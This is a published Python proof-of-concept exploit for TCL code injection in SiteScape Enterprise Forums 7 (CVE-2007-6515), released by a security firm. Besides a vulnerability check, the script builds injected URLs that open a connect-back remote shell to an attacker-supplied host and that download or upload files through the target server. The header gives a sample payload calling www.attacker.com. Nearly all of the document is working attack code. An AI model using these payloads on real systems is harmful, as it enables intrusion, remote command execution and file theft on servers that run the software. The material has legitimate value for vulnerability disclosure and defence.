# Exploit Title: SiteScape TCL Injection # Date: December 7, 2010 # Author: Spencer McIntyre (zeroSteiner) SecureState R&D Team # Version: SiteScape Enterprise Forums version 7 # Tested on: SunOS spitfire 5.10 # CVE : 2007-6515 #!/usr/bin/env python """ -*- coding: utf-8 -*- sitescape_sploit.py Copyright 2010 Spencer McIntyre <zeroSteiner@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Discovered: 12-07-10 By: Spencer McIntyre (zeroSteiner) SecureState R&D Team www.securestate.com Background: ----------- TCL Code injection has previously been discovered New Details: ------------ Confirmation that SiteScape servers are vulnerable to TCL injection allowing remote code execution through TCL payloads. SecureState has released proof of concept exploit code for this vulnerability. Vulnerable Versions: -------------------- Tested on SiteScape Enterprise Forums version 7, others may be vulnerable. TCL Code Injection: ------------------- ++ Replace "ping www.attacker.com" with something useful http://www.website.com/dispatch.cgi/0;set fl [open "|ping www.attacker.com" ] References: ----------- BID http://www.securityfocus.com/bid/26963 CVE http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6515 Post http://securityvulns.com/Sdocument702.html PoC [ <-- UPDATE --> ] Whitepaper [<-- UPDATE -->] """ def main(): import sys import socket import urllib2 import argparse __version__ = '0.3' parser = argparse.ArgumentParser(description = 'Site Scape Exploit Tool', conflict_handler='resolve') parser.add_argument('-t', '--target', dest = 'target_uri', action = 'store', required = True, help = 'the uri to dispatch.cgi') parser.add_argument('-m', '--mode', dest = 'mode', action = 'store', required = True, choices = ['c', 's', 'u', 'd'], help = 'attack mode') parser.add_argument('-h', '--lhost', dest = 'lhost', action = 'store', default = '', help = 'host to connect back to') parser.add_argument('-p', '--lport', dest = 'lport', action = 'store', default = 0, help = 'the port to connect back to') parser.add_argument('-f', '--file', dest = 'file_name', action = 'store', default = '', help = 'the file name to upload/download, path must be relative') parser.add_argument('-v', '--version', action = 'version', version = sys.argv[0][2:] + ' Version:' + __version__) results = parser.parse_args() target = results.target_uri if target.split('/')[len(target.split('/')) - 1] != 'dispatch.cgi': print 'Invalid Target' return 0 if results.mode == 'c': sys.stdout.write('Checking... ') sys.stdout.flush() try: httpConn = urllib2.urlopen(target + '/0;test') page = httpConn.read() except urllib2.HTTPError, error: print '\nThe Host Is NOT Vulnerable' return 0 except ValueError: print '\nInvalid Target' return 0 except: print '\nAn Error Has Occured' return 0 # this should not happen sys.stdout.write('Done.\n') sys.stdout.flush() if 'invalid command name "test"' in page: print 'The Host Is Vulnerable' return 0 else: print 'The Host Is NOT Vulnerable' return 0 if results.lhost: lhost = results.lhost else: print sys.argv[0] + ': error: argument -h/--lhost is required when mode is not \'c\'' return 0 if results.lport: lport = results.lport else: print sys.argv[0] + ': error: argument -p/--lport is required when mode is not \'c\'' return 0 if results.mode == 's': exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport) exploit = exploit + '%20]%20;fconfigure%20$sock%20-buffering%20line;while%20%221%22%20{%20gets%20$sock%20cmd;%20if%20{%20[catch%20{set%20fl%20[open%20%22|$cmd%22%20]%20}%20fid]%20}%20{%20%20puts%20$sock%20%22Command%20Error%22%20}%20else%20{%20set%20data%20[read%20$fl]%20;%20puts%20$sock%20$data;%20}%20}%20;thisTx%20accept%20;exit%20' print 'Sending Exploit...\n(This process will sometimes hang on success until the connection is terminated)' try: httpConn = urllib2.urlopen(exploit) except:# urllib2.HTTPError: pass return 0 if results.file_name: file_name = results.file_name else: print sys.argv[0] + ': error: argument -f/--file_name is required when mode is not \'c\' or \'s\'' return 0 if file_name[0] in ['\\', '/']: print 'The path has to be relative ie: ../../tmp/foobar.txt' return 0 forward = file_name.count('/') backward = file_name.count('\\') path = '' if not forward == 0 and not backward == 0: for i in range(0, file_name.count('..')): path = path + 'cd%20..;' del i file_name = file_name.split('..') file_name = file_name.pop() if forward > backward: tmp = file_name.split('/')[:-1] file_name = file_name.split('/').pop() else: tmp = file_name.split('\\')[:-1] file_name = file_name.split('\\').pop() for part in tmp: if part: path = path + 'cd%20' + part + ';' if results.mode == 'd': exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport) exploit = exploit + ']%20;' + path + 'fconfigure%20$sock%20-buffering%20line;set%20fl%20[open%20%22' + file_name.replace(' ', '%20') + '%22%20r]%20;fconfigure%20$fl%20-translation%20binary;set%20data%20[read%20$fl]%20;puts%20$sock%20$data;%20thisTx%20accept%20;exit%20;' try: httpConn = urllib2.urlopen(exploit) except urllib2.HTTPError: pass except: print 'An Error Has Occured' return 0 elif results.mode == 'u': exploit = target + '/0;set%20sock%20[socket%20' + lhost + '%20' + str(lport) exploit = exploit + ']%20;' + path + 'fconfigure%20$sock%20-buffering%20line;set%20fl%20[open%20%22' + file_name.replace(' ', '%20') + '%22%20w]%20;fconfigure%20$fl%20-buffering%20line;set%20data%20[read%20$sock]%20;puts%20$fl%20$data;%20thisTx%20accept%20;exit%20;' try: httpConn = urllib2.urlopen(exploit) except urllib2.HTTPError: pass except: print 'An Error Has Occured' return 0 return 0 if __name__ == '__main__': main()